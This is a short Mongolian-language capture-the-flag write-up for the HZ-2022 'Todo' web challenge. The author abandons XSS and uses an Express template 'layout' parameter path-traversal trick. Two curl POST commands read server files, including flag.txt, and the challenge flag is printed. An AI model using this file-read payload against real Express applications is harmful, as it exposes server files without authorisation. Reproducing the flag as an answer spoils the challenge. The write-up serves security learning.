---
description: Web Exploitation | Javascript Vulnerability
---

# HZ-2022-Final-Todo

За Todo даалгаврыг шууд нэрнээс нь хараад бас формуудыг нь хараад XSS байна гэж бодтол өөр цоорхой болж таарсан. Мэдээж шууд өөр халдлагыг туршиж үзэхгүйгээр XSS-г болж байгаа эсэхийг шалгаж үзсэн

[http://todo.challenge.haruulzangi.mn:9911/](http://todo.challenge.haruulzangi.mn:9911/)

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2F2EjOndmj224Hoik9hm3Z%2Fimage.png?alt=media&#x26;token=a3426ed9-93cf-4d5a-9b02-166b63f69d30" alt=""><figcaption></figcaption></figure>

XSS болоогүй учраас жаахан stuck болсон л доо тэгээд юмыг яаж мэдхэв гээд ашигласан технологиудыг шалгаж үзэхэд ExpressJS, NodeJS, jQuery гэх мэт технологиуд байсан

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FsgvMYirpBDWW2QNF5zr4%2Fxss.png?alt=media&#x26;token=16737e09-72b0-4c8f-8299-b0fc538f9e34" alt=""><figcaption></figcaption></figure>

Эхнээс нь ExpressJS exploit-г хай үзвэл Parameter, LFR гэх мэт ойлголтууд олдох бөгөөд дэлгэрэнгүй судлаад үзвэл:

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2F7RMbHMVZwhdYYeQnzzb0%2Fimage.png?alt=media&#x26;token=44a206e2-baf6-4d25-9d7b-83f405299097" alt=""><figcaption></figcaption></figure>

`curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{"profile":{"layout": "./../routes/index.js"}}' 'http://ctf.shoebpatel.com:9090/'`

Энэхүү кодыг орлуулаад үзвэл:

`curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{"profile":{"layout": "./../flag.txt"}}' 'todo.challenge.haruulzangi.mn:9911'`

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FZDymgBN2s95dVU5k34t2%2Fimage.png?alt=media&#x26;token=c6248479-7e62-4246-8ac1-b980791792a2" alt=""><figcaption></figcaption></figure>

Энэхүү бодлогыг цаг дуусахаас 5 секундын өмнө бодож дууссан бөгөөд оруулж амжаагүй байдаг ххэ

**Flag: `HZ{YOU_have_DONE_your_TASK}`**
